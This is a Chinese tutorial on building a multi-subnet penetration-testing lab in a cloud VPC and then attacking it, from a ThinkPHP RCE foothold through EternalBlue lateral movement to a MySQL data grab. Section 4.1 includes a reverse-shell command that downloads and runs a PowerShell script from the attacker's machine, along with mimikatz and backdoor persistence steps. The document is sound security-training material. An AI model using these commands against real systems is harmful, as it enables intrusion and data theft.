1. 项目概述:为什么要在VPC里“折腾”内网渗透?
如果你和我一样,是个对网络安全、红蓝对抗感兴趣,或者正在学习安全测试的从业者,那你肯定知道“内网渗透”这四个字的分量。它不像打一个公开的Web靶场那么简单,真正的内网环境充满了未知的拓扑、隐蔽的服务和层层递进的权限关卡。但问题来了,我们总不能拿公司的生产环境或者别人的真实网络来练手吧?这既不道德,也违法。
所以,一个安全、可控、又能高度模拟真实内网环境的“沙盒”就成了刚需。这就是我们今天要聊的核心:利用云服务商提供的VPC(Virtual Private Cloud,虚拟私有云)环境,来搭建一个逼真的内网渗透测试靶场。你可能会问,为什么是VPC?我本地用VMware搭几台虚拟机不行吗?当然可以,但那更像是几个孤立的“点”。而VPC天然就是一个“网络”,它提供了子网划分、路由表、安全组(或ACL)、内网互通、公网网关等一整套网络基础设施,这和我们真实企业内网的架构逻辑几乎一模一样。在VPC里,你可以模拟出办公网、核心业务区、DMZ区,甚至模拟不同部门、不同安全级别的网络分区,这种“网络感”是本地虚拟机组网很难比拟的。
这次,我会结合一个非常经典的靶场——“小迪安全”的渗透测试视频教程中涉及的靶机环境,来演示如何在VPC中配置和还原它。小迪的教程之所以经典,是因为它覆盖了从外网打到内网、横向移动、权限提升的完整链条,非常适合作为我们搭建内网靶场的蓝本。通过这个实战,你不仅能学会靶场搭建,更能深刻理解VPC的各项网络组件是如何协同工作,以及它们如何对应到渗透测试中的各种攻击路径和防御边界。
2. 环境整体设计与核心思路拆解
在动手之前,我们必须先想清楚要模拟一个什么样的场景。盲目开机器只会得到一堆散沙。我们的目标是:构建一个包含边界突破点、内部横向移动路径和核心目标的多层网络环境。
2.1 靶场场景设计
我们参考经典内网渗透流程,设计一个简化但典型的三层结构:
- DMZ区(外网可访问区):放置一台存在漏洞的Web服务器。这是攻击者的初始入口点。假设它是一台Windows Server,运行着存在漏洞的CMS(如ThinkPHP 5.0 RCE)。
- 办公区(内部网络):放置若干台内网机器。例如一台Windows 7或10的客户机,可能存有员工的浏览器密码、配置文件等;再比如一台Linux服务器,运行着内部用的Gitlab、Confluence等应用。
- 核心数据区(高安全区):放置最终目标,例如一台数据库服务器(MySQL)或文件服务器,存放敏感数据。该区域与办公区隔离更严格。
在VPC中,我们用子网(Subnet)来实现这三个分区。创建一个VPC(比如网段为10.0.0.0/16),然后在里面创建三个子网:
DMZ-subnet:10.0.1.0/24, 关联路由表使其可以访问互联网(用于系统更新、攻击机连接)。Office-subnet:10.0.2.0/24, 默认路由指向VPC内部,无法直接出公网。Data-subnet:10.0.3.0/24, 路由策略更严格,只允许来自办公区特定端口的访问。
2.2 工具与云平台选型
- 云平台选择:国内外主流云平台如阿里云、腾讯云、AWS、Azure等均可,其VPC核心概念相通。本文以操作界面相对直观的阿里云为例,其他平台可举一反三。选择它是因为其控制台对网络组件的可视化做得比较好,适合初学者理解。
- 攻击机:我们不需要放在VPC内部。攻击机就是我们自己的本地物理机,或者一台拥有公网IP的独立云主机。我们将从外部向DMZ区的靶机发起攻击。
- 靶机镜像:这是节省时间的关键。我们不会从零安装系统再配置漏洞环境,那太耗时。我们会使用两种方式:
- 预制靶场镜像:例如“小迪安全”教程中常使用的 Vulhub、Webug 4.0 等环境的打包镜像。我们需要提前下载好
.vhd或.qcow2格式的镜像文件,并上传到云平台的自定义镜像中。 - 手动快速搭建:对于一些特定漏洞环境,我们可以用云市场镜像(如纯净版的Windows Server、CentOS)快速启动,然后运行自动化脚本(如Docker Compose)一键部署漏洞环境。例如,用Docker快速拉起一个ThinkPHP 5.0.23 RCE的环境。
- 预制靶场镜像:例如“小迪安全”教程中常使用的 Vulhub、Webug 4.0 等环境的打包镜像。我们需要提前下载好
注意:上传自定义镜像可能需要开通OSS对象存储服务,并支付少量的存储费用和流量费用,这是云平台搭建靶场前期的主要成本,但一次上传可重复使用。
2.3 网络访问策略设计(安全组/网络ACL)
这是模拟真实性的关键,也是容易出错的地方。我们需要为不同分区的机器配置不同的安全组(Security Group,一种虚拟防火墙)。
- DMZ区安全组:
- 入方向:开放
80/tcp(HTTP),443/tcp(HTTPS),3389/tcp(Windows RDP,用于管理,强烈建议将源IP限制为你自己的公网IP)。 - 出方向:允许所有(方便它向外发起连接,如下载payload)。
- 入方向:开放
- 办公区安全组:
- 入方向:仅允许来自
DMZ-subnet和Office-subnet网段的特定端口(如445/tcp,22/tcp,3306/tcp等),模拟内网服务互通。 - 出方向:允许所有(内网机器可能需要访问外网更新,但通过NAT网关)。
- 入方向:仅允许来自
- 核心区安全组:
- 入方向:仅允许来自
Office-subnet网段的3306/tcp(MySQL)或22/tcp(SSH)等极其有限的端口。 - 出方向:通常禁止所有,或仅允许访问特定内部地址。
- 入方向:仅允许来自
通过这样的设计,我们就用VPC和安全组,画出了一个有清晰边界、有访问控制逻辑的“虚拟内网”。
3. 实战搭建:从零构建VPC内网靶场
理论清晰后,我们开始动手。以下步骤在阿里云控制台进行,其他云平台逻辑类似。
3.1 第一步:创建VPC与子网
- 登录阿里云控制台,进入专有网络 VPC管理页面。
- 点击“创建专有网络”。
- 名称:
PenTest-Lab-VPC - IPv4网段:填写
10.0.0.0/16。这个网段足够大,可以容纳我们规划的多个子网。 - 描述:可选,填写“内网渗透测试靶场”。
- 名称:
- 在创建VPC的页面下方,可以直接添加初始的子网。我们在这里一次性创建三个:
- 子网1:
- 名称:
DMZ-subnet - 网段:
10.0.1.0/24 - 可用区:选择一个即可(如华东1 可用区I)。
- 名称:
- 子网2:
- 名称:
Office-subnet - 网段:
10.0.2.0/24 - 可用区:同上(建议同可用区,降低延迟)。
- 名称:
- 子网3:
- 名称:
Data-subnet - 网段:
10.0.3.0/24 - 可用区:同上。
- 名称:
- 子网1:
- 点击“确定”,VPC和三个子网就创建好了。
3.2 第二步:配置路由与公网访问
默认情况下,子网内的机器是无法访问互联网的。我们需要为DMZ区配置一个互联网网关(在阿里云叫“NAT网关”或“弹性公网IP+路由”),为办公区配置一个NAT网关用于出网。
- 为DMZ子网创建并绑定弹性公网IP(EIP):
- 通常,我们不会给靶机直接绑定EIP,因为那会完全暴露。更安全的做法是创建一台堡垒机(Bastion Host)或跳板机放在DMZ区,给它绑定EIP。我们通过RDP或SSH连接上堡垒机,再从堡垒机去管理其他靶机。
- 但为了简化演示,假设我们给DMZ区的Web靶机绑定一个EIP。在弹性公网IP页面申请一个EIP,然后将其绑定到即将创建的DMZ区ECS实例上。
- 配置VPC路由表:
- 进入VPC详情页,找到“路由表”标签。默认会有一个路由表关联了所有子网。
- 我们需要编辑这个路由表,确保有一条默认路由(
0.0.0.0/0)指向我们创建的NAT网关(为办公区出网准备)或互联网网关(为DMZ区出网准备)。在更复杂的模拟中,可以为不同子网关联不同的路由表。 - 对于DMZ区,如果靶机绑定了EIP,其公网访问由云平台底层自动处理,路由表里不需要特殊指向公网的路由条目。
3.3 第三步:创建安全组
创建三个安全组,分别对应三个分区。
- 创建
SG-DMZ安全组:- 入方向规则:
协议类型 端口范围 授权对象 说明 TCP 80/80 0.0.0.0/0对外提供Web服务 TCP 443/443 0.0.0.0/0HTTPS TCP 3389/3389 你的公网IP/32严格限制,仅允许自己管理 ALL -1/-1 10.0.0.0/16允许所有VPC内网访问 - 出方向规则:允许所有。
- 入方向规则:
- 创建
SG-Office安全组:- 入方向规则:
协议类型 端口范围 授权对象 说明 TCP 22/22 10.0.1.0/24允许DMZ区SSH过来 TCP 445/445 10.0.0.0/16内网SMB共享 TCP 3389/3389 10.0.1.0/24允许DMZ区RDP过来 ALL -1/-1 10.0.2.0/24办公区内网互访 - 出方向规则:允许所有。
- 入方向规则:
- 创建
SG-Data安全组:- 入方向规则:
协议类型 端口范围 授权对象 说明 TCP 3306/3306 10.0.2.0/24仅办公区可访问MySQL TCP 22/22 10.0.2.0/24仅办公区可SSH管理 - 出方向规则:拒绝所有。
- 入方向规则:
3.4 第四步:创建并配置靶机实例(以小迪靶场为例)
这是核心环节。我们假设要还原小迪教程中“从Web漏洞到内网横向”的经典场景。
场景还原:DMZ区有一台存在ThinkPHP RCE漏洞的Windows服务器;通过它渗透进入内网,发现一台办公区的Windows 7主机存在MS17-010(永恒之蓝)漏洞;进一步横向,发现核心区有一台MySQL数据库。
机器1:DMZ区 - 漏洞Web服务器 (Windows)
- 在ECS控制台,点击“创建实例”。
- 基础配置:
- 付费模式:按量付费(测试完立即释放,最经济)。
- 地域/可用区:选择你创建VPC的地域和可用区。
- 实例规格:选择最基础的规格,如
ecs.g6.large(2vCPU 4GiB),Windows系统需要一定内存。 - 镜像:选择“自定义镜像”,找到你提前上传好的包含ThinkPHP漏洞环境的Windows镜像。如果没有,可以选择“镜像市场”,搜索“Windows Server”选择纯净版,然后手动部署漏洞环境(后续步骤会讲)。
- 网络与安全组:
- 网络:选择我们创建的
PenTest-Lab-VPC。 - 交换机:选择
DMZ-subnet。 - 安全组:选择
SG-DMZ。 - 公网IP:分配一个,或者选择“暂不分配”,后面将已申请的EIP绑定到此实例。
- 网络:选择我们创建的
- 系统配置:设置登录密码(牢记),实例名称设为
DMZ-WebServer。 - 创建完成。记录下它的内网IP(如
10.0.1.10)和公网IP。
机器2:办公区 - 内网Windows 7主机
- 同样流程创建第二台实例。
- 镜像:选择自定义镜像中的Windows 7漏洞镜像(需提前准备,可在某些安全社区找到已集成MS17-010的Win7镜像)。重要:Windows 7已停止支持,仅用于测试环境。
- 网络:VPC选择
PenTest-Lab-VPC,交换机选择Office-subnet。 - 安全组:选择
SG-Office。 - 不分配公网IP。
- 实例名称设为
Office-Win7。记录内网IP(如10.0.2.20)。
机器3:核心区 - MySQL数据库服务器 (Linux)
- 创建第三台实例。
- 镜像:选择公共镜像,如
CentOS 7.9。 - 网络:VPC选择
PenTest-Lab-VPC,交换机选择Data-subnet。 - 安全组:选择
SG-Data。 - 不分配公网IP。
- 实例名称设为
Data-MySQL。记录内网IP(如10.0.3.30)。
3.5 第五步:初始化与漏洞环境部署
如果使用了预制漏洞镜像,部分环境可能已就绪。如果使用的是纯净版镜像,则需要手动部署。
对于DMZ-WebServer(假设是纯净Windows):
- 通过RDP(使用公网IP:3389,源IP需在白名单内)登录。
- 安装Web服务器(如PHPStudy,它集成了Apache、PHP、MySQL)。
- 部署存在漏洞的ThinkPHP 5.0.23应用。
- 下载ThinkPHP 5.0.23完整版。
- 解压到PHPStudy的
www目录下。 - 访问
http://公网IP/index.php看到欢迎页即表示成功。 - ThinkPHP 5.0.23的RCE漏洞利用方式已知,此处不展开,我们只需要环境存在即可。
对于Data-MySQL(CentOS):
- 由于没有公网IP,我们需要通过堡垒机或云控制台的VNC登录。这里演示通过之前DMZ区的Web服务器(已绑定EIP)作为跳板。
- 在
DMZ-WebServer上启用“远程桌面网关”功能或安装SSH客户端(如PuTTY),通过它SSH到Data-MySQL的内网IP (10.0.3.30)。 - 登录后,安装MySQL:
# 安装MySQL仓库 sudo rpm -Uvh https://dev.mysql.com/get/mysql80-community-release-el7-7.noarch.rpm # 安装MySQL服务器 sudo yum install -y mysql-community-server # 启动并设置开机自启 sudo systemctl start mysqld sudo systemctl enable mysqld # 查看初始密码 sudo grep 'temporary password' /var/log/mysqld.log # 运行安全脚本,修改root密码,并禁止远程root登录(测试环境可允许) sudo mysql_secure_installation - 创建一个测试数据库和用户,模拟敏感数据:
CREATE DATABASE sensitive_data; USE sensitive_data; CREATE TABLE users (id INT, username VARCHAR(255), password VARCHAR(255)); INSERT INTO users VALUES (1, 'admin', 'supersecretpassword123'); CREATE USER 'internal_app'@'10.0.2.%' IDENTIFIED BY 'WeakPass!'; -- 允许办公网段访问 GRANT SELECT ON sensitive_data.* TO 'internal_app'@'10.0.2.%'; FLUSH PRIVILEGES;
至此,一个包含三层结构、具备基本漏洞环境和访问控制的内网靶场就在VPC中搭建完毕了。
4. 内网渗透测试核心流程实战演练
环境有了,现在我们模拟攻击者视角,从外网开始,一步步打穿这个内网。
4.1 阶段一:外网突破,拿下DMZ区Web服务器
- 信息收集:使用浏览器或
nmap扫描DMZ服务器的公网IP,发现开放了80端口。nmap -sV -p 80,443,3389 <DMZ公网IP> - 漏洞利用:访问
http://<DMZ公网IP>/index.php,确认是ThinkPHP 5.0.23。使用公开的RCE漏洞利用工具或脚本(例如tp5_rce.py),执行命令。python3 tp5_rce.py -u http://<DMZ公网IP>/index.php -c "whoami" - 获取Webshell:利用漏洞写入一句话木马,或直接通过RCE反弹一个Shell到我们的攻击机。
# 在攻击机上监听 nc -lvnp 4444 # 通过漏洞执行反弹命令(需对命令进行编码) python3 tp5_rce.py -u http://<DMZ公网IP>/index.php -c "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://你的攻击机IP/ps.ps1'); ReverseShell -IP 你的攻击机IP -Port 4444" - 权限提升与持久化:拿到一个
www-data或iis apppool等低权限Shell后,尝试本地提权(如利用Windows内核漏洞、服务配置不当等)。添加后门账户或计划任务进行持久化。
4.2 阶段二:内网信息收集与横向移动
拿下DMZ服务器后,它就成了我们进入内网的“桥头堡”。
- 内网探测:在DMZ服务器上执行内网扫描。
# Windows下使用内置命令或上传nmap for windows ipconfig /all # 查看自身IP、网关、DNS,确认在10.0.1.0/24网段 arp -a # 查看ARP缓存,发现同一网段其他主机(可能不多) # 上传nmap,扫描办公网段 nmap -sn 10.0.2.0/24 # 发现存活主机,如10.0.2.20 nmap -sS -sV -p 135,139,445,3389 10.0.2.20 # 详细扫描 - 漏洞利用与横向:发现
10.0.2.20(Office-Win7)开放了445端口。尝试利用MS17-010漏洞。- 在DMZ服务器上上传
ms17-010 exploit工具(如eternalblue)。 - 由于DMZ和办公区网络互通,我们可以直接攻击。
# 假设使用python版的exploit python eternalblue.py 10.0.2.20 - 在DMZ服务器上上传
- 获取办公区主机权限:利用成功后会获得一个System权限的Shell。在此机器上抓取密码哈希(使用
mimikatz),查看网络共享,继续收集信息。
4.3 阶段三:向核心区渗透
在办公区主机上,我们继续探测。
- 二次信息收集:
net view /domain # 查看域(如果是域环境) net view \\10.0.3.30 # 尝试查看核心服务器共享(可能失败) nbtstat -A 10.0.3.30 # 查看NetBIOS信息 nmap -p 3306 10.0.3.30 # 扫描核心服务器端口,发现3306开放 - 数据库攻击:发现MySQL服务。尝试用之前信息收集阶段可能找到的数据库密码(例如从Web配置文件、员工机器上的连接字符串中获取)进行连接。假设我们猜解或找到了密码
WeakPass!。# 在办公区主机上连接数据库 mysql -h 10.0.3.30 -u internal_app -p'WeakPass!' # 连接成功后,查询敏感数据 USE sensitive_data; SELECT * FROM users; - 权限提升与数据窃取:如果数据库存在SQL注入或配置问题,可能尝试提权(如利用
UDF提权)或直接导出数据。至此,我们模拟完成了从外网到核心数据区的完整渗透路径。
5. 靶场配置的深度优化与高级技巧
基础环境搭建和流程走通只是第一步。要让这个靶场更有训练价值,更贴近实战,还需要做一些优化。
5.1 模拟更真实的网络拓扑
- 多路由表与路由策略:不要所有子网都用默认路由表。可以为
Data-subnet单独创建一个路由表,其默认路由指向一个虚拟防火墙(可以用一台开了iptables的Linux实例模拟),或者干脆没有默认路由,只有一条指向Office-subnet的路由。这样能更真实地模拟核心区隔离。 - 模拟网络设备:创建一台Linux实例,安装
iptables或frrouting软件,将其作为“核心交换机”或“防火墙”。将各子网的路由指向这台机器,由它来实施更精细的访问控制策略(ACL)。这能让你练习绕过网络设备审计的技能。 - 混合操作系统环境:不要全是Windows或全是Linux。加入不同版本的Windows Server、Windows 10/7,不同发行版的Linux(CentOS, Ubuntu, Debian),以及可能存在的旧系统(如Windows Server 2003, 2008)。
5.2 漏洞环境的多样性与自动化部署
- 使用Docker Compose:这是快速部署复杂漏洞环境的利器。你可以为每个靶机编写一个
docker-compose.yml文件,里面定义好服务、漏洞应用、网络配置。在实例初始化时,只需运行docker-compose up -d,整个环境就起来了。例如,一键部署一个包含Web漏洞、Redis未授权、SSH弱密码的复合场景。 - 集成漏洞库:将Vulhub、Violation、Web安全学习靶场等项目的Docker镜像,提前构建成云平台的自定义镜像,或者编写自动化脚本从Docker Hub拉取。这样能极大丰富你的训练场景。
- 配置“蜜罐”:部署一些看起来有漏洞但实际是监控节点的服务(如用Canarytokens、HFish)。记录攻击者的行为,用于后续分析自己的攻击特征和痕迹清理是否到位。
5.3 安全监控与日志分析
一个优秀的渗透测试者也需要了解防守方视角。
- 启用云平台日志:开启VPC的流日志(Flow Log),记录所有经过子网网卡的网络流量的元数据(源目IP、端口、协议、动作)。这能让你在攻击后复盘,看到自己的扫描、爆破、漏洞利用流量在日志里是什么样子。
- 在靶机内部署日志收集:在Windows靶机上启用并配置PowerShell日志、安全日志(4624/4625登录事件、4688进程创建等),并集中发送到一台日志服务器(如ELK Stack)。在Linux靶机上配置
auditd规则,监控敏感命令和文件访问。 - 部署HIDS:在关键靶机(如核心数据库)上安装轻量级主机入侵检测系统,如Wazuh或OSSEC的Agent。体验一下在有一定防护的环境下进行渗透的难度。
6. 常见问题、踩坑记录与排查技巧
在实际搭建和测试过程中,你一定会遇到各种问题。这里记录一些典型的坑和解决办法。
6.1 网络连通性问题
| 问题现象 | 可能原因 | 排查步骤 |
|---|---|---|
| 攻击机无法访问DMZ靶机公网IP的80端口 | 1. 安全组SG-DMZ未放行80端口。2. 靶机内部防火墙(Windows防火墙/iptables)未放行。 3. Web服务(如Apache)未启动。 | 1. 检查安全组规则。 2. 登录靶机,检查 netstat -ano | findstr :80(Win)或ss -tlnp | grep :80(Linux)。3. 检查服务状态。 |
| DMZ靶机无法ping通办公区靶机 | 1. 办公区靶机的安全组SG-Office未允许ICMP协议或来自DMZ网段的访问。2. 系统防火墙禁止了ICMP。 | 1. 检查SG-Office入方向规则,添加一条允许ICMP协议,源为10.0.1.0/24的规则。2. 临时关闭办公区靶机的系统防火墙测试。 |
办公区靶机无法访问互联网(如ping 8.8.8.8) | 1. 办公区子网没有配置NAT网关或路由指向不正确。 2. 安全组出方向被限制。 | 1. 检查VPC路由表,确认办公区子网关联的路由表有指向NAT网关的默认路由(0.0.0.0/0->nat-gw-id)。2. 检查 SG-Office出方向是否为允许所有。 |
| 通过DMZ跳板机无法SSH到核心区数据库 | 1. 核心区安全组SG-Data未放行来自DMZ或办公区IP的22端口。2. 数据库服务器未安装或启动SSH服务。 3. 路由不可达(如果核心区子网路由表配置了严格策略)。 | 1.这是最常见原因:检查SG-Data规则,确保源IP是10.0.2.0/24(办公区)或10.0.1.0/24(DMZ,如果你想让DMZ也能直接访问)。2. 登录数据库服务器,检查 systemctl status sshd。3. 在数据库服务器上 traceroute 10.0.1.10看路径。 |
实操心得:VPC环境里,十次连接失败,有九次是安全组规则没配对。一定要养成“从源到目的,逐层检查”的习惯:本机防火墙 -> 实例安全组 -> 子网网络ACL(如果有)-> 路由表 -> 对端安全组 -> 对端服务状态。
6.2 漏洞利用失败问题
- ThinkPHP RCE失败:确保ThinkPHP版本准确,且漏洞利用路径正确。有时目标URL不是
/index.php,可能是/public/index.php。使用dirsearch等工具扫描目录。另外,注意命令编码,Windows和Linux下的编码方式不同。 - MS17-010利用失败:
- 目标补丁已打:这是最可能的原因。确保你的靶机镜像确实是存在漏洞的版本(如Windows 7 SP1未打2017年3月后的补丁)。
- 防火墙拦截:目标445端口可达,但防火墙可能拦截了漏洞利用的特定流量。尝试临时关闭目标防火墙。
- 利用工具版本:不同的
eternalblue利用脚本对系统版本、架构的兼容性不同。多准备几个工具尝试。 - 杀毒软件:靶机上如果安装了杀毒软件,可能会拦截攻击载荷。在测试环境中可以暂时卸载或禁用。
6.3 成本控制与资源清理
云资源是按量计费的,测试完务必及时清理,避免产生不必要的费用。
- 释放弹性公网IP(EIP):EIP即使不绑定实例,只要未释放,也会按小时收费。务必在控制台“弹性公网IP”页面找到并释放它。
- 释放ECS实例:对于按量付费实例,直接“释放”即可。注意:释放后数据不可恢复。
- 删除自定义镜像:如果不再需要,删除上传的自定义镜像,可以节省对象存储费用。
- 删除VPC:最后,确认所有子网内的资源都已清空后,可以删除整个VPC。删除VPC会自动删除其下的路由表、网络ACL等资源,但不会自动删除安全组,需要手动检查并删除。
- 设置自动释放:对于计划内的长期测试,可以在创建实例时设置“自动释放时间”,这样到点后实例会自动删除,防止忘记。
搭建一个逼真的VPC内网靶场,就像为自己搭建了一个专属的、无限复用的网络安全实验室。从网络规划、安全策略配置,到漏洞环境部署、渗透路径模拟,整个过程本身就是一次绝佳的学习。它强迫你去理解网络协议、访问控制、系统服务和漏洞原理是如何在真实环境中交织作用的。当你成功地从外网一步步摸到核心数据库,那种对网络空间结构的掌控感,是任何孤立靶机都无法给予的。更重要的是,你可以随时推倒重来,尝试不同的拓扑、不同的漏洞组合、不同的防御策略,反复锤炼你的“战术”。